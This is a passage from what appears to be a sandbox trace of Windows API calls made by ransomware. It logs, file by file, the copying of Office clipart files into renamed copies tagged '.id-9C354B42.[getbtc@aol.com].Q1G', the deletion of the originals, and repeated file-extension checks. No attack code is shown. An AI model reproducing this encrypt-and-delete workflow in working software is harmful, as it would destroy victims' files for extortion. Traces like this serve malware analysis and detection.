office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.819] GetLastError () returned 0x0 [0054.819] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x1485, lpOverlapped=0x0) returned 1 [0054.820] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0054.821] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.821] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.822] SetEndOfFile (hFile=0x244) returned 1 [0054.822] CloseHandle (hObject=0x244) returned 1 [0054.822] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.822] SetEndOfFile (hFile=0x23c) returned 1 [0054.822] CloseHandle (hObject=0x23c) returned 1 [0054.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0054.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.823] lstrlenW (lpString=".doc") returned 4 [0054.823] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.823] lstrlenW (lpString=".docx") returned 5 [0054.823] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.823] lstrlenW (lpString=".pdf") returned 4 [0054.823] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.823] lstrlenW (lpString=".xls") returned 4 [0054.823] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.823] lstrlenW (lpString=".xlsx") returned 5 [0054.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.823] lstrlenW (lpString=".ppt") returned 4 [0054.823] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.823] lstrlenW (lpString=".zip") returned 4 [0054.823] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.823] lstrlenW (lpString=".rar") returned 4 [0054.823] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.823] lstrlenW (lpString=".bz2") returned 4 [0054.824] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.824] lstrlenW (lpString=".7z") returned 3 [0054.824] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.824] lstrlenW (lpString=".dbf") returned 4 [0054.824] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.824] lstrlenW (lpString=".1cd") returned 4 [0054.824] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.824] lstrlenW (lpString=".jpg") returned 4 [0054.824] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.824] lstrlenW (lpString=".doc") returned 4 [0054.824] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.824] lstrlenW (lpString=".docx") returned 5 [0054.824] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.824] lstrlenW (lpString=".pdf") returned 4 [0054.824] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.824] lstrlenW (lpString=".xls") returned 4 [0054.824] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.824] lstrlenW (lpString=".xlsx") returned 5 [0054.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.824] lstrlenW (lpString=".ppt") returned 4 [0054.824] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.824] lstrlenW (lpString=".zip") returned 4 [0054.824] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.824] lstrlenW (lpString=".rar") returned 4 [0054.824] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.824] lstrlenW (lpString=".bz2") returned 4 [0054.824] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.824] lstrlenW (lpString=".7z") returned 3 [0054.824] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.825] lstrlenW (lpString=".dbf") returned 4 [0054.825] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.825] lstrlenW (lpString=".1cd") returned 4 [0054.825] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0054.825] lstrlenW (lpString=".jpg") returned 4 [0054.825] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.825] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.825] lstrlenW (lpString="AG00135_.GIF") returned 12 [0054.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.826] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2596) returned 1 [0054.826] CloseHandle (hObject=0x23c) returned 1 [0054.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0054.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.826] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.826] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.826] GetLastError () returned 0x0 [0054.826] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xa24, lpOverlapped=0x0) returned 1 [0054.828] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0054.829] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.829] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.829] SetEndOfFile (hFile=0x244) returned 1 [0054.829] CloseHandle (hObject=0x244) returned 1 [0054.829] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.829] SetEndOfFile (hFile=0x23c) returned 1 [0054.830] CloseHandle (hObject=0x23c) returned 1 [0054.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.831] lstrlenW (lpString=".doc") returned 4 [0054.831] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.831] lstrlenW (lpString=".docx") returned 5 [0054.831] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.831] lstrlenW (lpString=".pdf") returned 4 [0054.831] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.831] lstrlenW (lpString=".xls") returned 4 [0054.831] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.831] lstrlenW (lpString=".xlsx") returned 5 [0054.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.831] lstrlenW (lpString=".ppt") returned 4 [0054.831] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.831] lstrlenW (lpString=".zip") returned 4 [0054.831] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.831] lstrlenW (lpString=".rar") returned 4 [0054.831] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.831] lstrlenW (lpString=".bz2") returned 4 [0054.831] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.831] lstrlenW (lpString=".7z") returned 3 [0054.831] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.831] lstrlenW (lpString=".dbf") returned 4 [0054.831] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.831] lstrlenW (lpString=".1cd") returned 4 [0054.831] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.831] lstrlenW (lpString=".jpg") returned 4 [0054.831] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.832] lstrlenW (lpString=".doc") returned 4 [0054.832] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.832] lstrlenW (lpString=".docx") returned 5 [0054.832] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.832] lstrlenW (lpString=".pdf") returned 4 [0054.832] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.832] lstrlenW (lpString=".xls") returned 4 [0054.832] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.832] lstrlenW (lpString=".xlsx") returned 5 [0054.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.832] lstrlenW (lpString=".ppt") returned 4 [0054.832] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.832] lstrlenW (lpString=".zip") returned 4 [0054.832] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.832] lstrlenW (lpString=".rar") returned 4 [0054.832] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.832] lstrlenW (lpString=".bz2") returned 4 [0054.832] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.832] lstrlenW (lpString=".7z") returned 3 [0054.832] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.832] lstrlenW (lpString=".dbf") returned 4 [0054.832] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.832] lstrlenW (lpString=".1cd") returned 4 [0054.832] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0054.832] lstrlenW (lpString=".jpg") returned 4 [0054.832] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.832] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.833] lstrlenW (lpString="AG00139_.GIF") returned 12 [0054.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.833] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=10607) returned 1 [0054.834] CloseHandle (hObject=0x23c) returned 1 [0054.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0054.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.834] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.834] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.834] GetLastError () returned 0x0 [0054.834] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x296f, lpOverlapped=0x0) returned 1 [0055.099] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0055.101] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.101] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.101] SetEndOfFile (hFile=0x244) returned 1 [0055.101] CloseHandle (hObject=0x244) returned 1 [0055.101] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.101] SetEndOfFile (hFile=0x23c) returned 1 [0055.102] CloseHandle (hObject=0x23c) returned 1 [0055.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0055.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.366] lstrlenW (lpString=".doc") returned 4 [0055.366] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.366] lstrlenW (lpString=".docx") returned 5 [0055.366] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.366] lstrlenW (lpString=".pdf") returned 4 [0055.366] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.366] lstrlenW (lpString=".xls") returned 4 [0055.366] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.366] lstrlenW (lpString=".xlsx") returned 5 [0055.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.366] lstrlenW (lpString=".ppt") returned 4 [0055.366] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.366] lstrlenW (lpString=".zip") returned 4 [0055.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.366] lstrlenW (lpString=".rar") returned 4 [0055.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.366] lstrlenW (lpString=".bz2") returned 4 [0055.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.366] lstrlenW (lpString=".7z") returned 3 [0055.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.366] lstrlenW (lpString=".dbf") returned 4 [0055.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.366] lstrlenW (lpString=".1cd") returned 4 [0055.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.366] lstrlenW (lpString=".jpg") returned 4 [0055.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.367] lstrlenW (lpString=".doc") returned 4 [0055.367] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.367] lstrlenW (lpString=".docx") returned 5 [0055.367] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.367] lstrlenW (lpString=".pdf") returned 4 [0055.367] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.367] lstrlenW (lpString=".xls") returned 4 [0055.367] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.367] lstrlenW (lpString=".xlsx") returned 5 [0055.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.367] lstrlenW (lpString=".ppt") returned 4 [0055.367] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.367] lstrlenW (lpString=".zip") returned 4 [0055.367] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.367] lstrlenW (lpString=".rar") returned 4 [0055.367] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.367] lstrlenW (lpString=".bz2") returned 4 [0055.367] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.367] lstrlenW (lpString=".7z") returned 3 [0055.367] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.367] lstrlenW (lpString=".dbf") returned 4 [0055.367] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.367] lstrlenW (lpString=".1cd") returned 4 [0055.367] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0055.367] lstrlenW (lpString=".jpg") returned 4 [0055.367] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.368] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.368] lstrlenW (lpString="AN01173_.WMF") returned 12 [0055.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.821] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=26332) returned 1 [0055.829] CloseHandle (hObject=0x1cc) returned 1 [0055.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0055.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.846] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.846] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.846] GetLastError () returned 0x0 [0055.846] ReadFile (in: hFile=0x1cc, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0055.848] WriteFile (in: hFile=0x1fc, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, 